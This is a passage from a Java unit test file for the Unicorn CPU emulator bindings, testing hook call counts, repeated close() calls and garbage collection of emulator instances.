u.emu_start(ADDRESS, ADDRESS + ARM_CODE.length, 0, 0);
assertEquals("Hook should only be called once", 1, hook_count[0]);
u.close();
}
/** Test that close() can be called multiple times without crashing */
@Test
public void testCloseIdempotent() {
Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM, Unicorn.UC_MODE_ARM);
u.close();
u.close();
}
/** Test that Unicorn instances are properly garbage-collected */
@Ignore("This test is not deterministic")
@Test
public void testUnicornsWillGC() {
final boolean[] close_called = { false };
new Unicorn(Unicorn.UC_ARCH_ARM, Unicorn.UC_MODE_ARM) {
@Override
public void close() throws UnicornException {
close_called[0] = true;
super.close();
}
};
System.gc();
System.runFinalization();
assertEquals("close() was called", true, close_called[0]);
}
}

File diff suppressed because it is too large Load Diff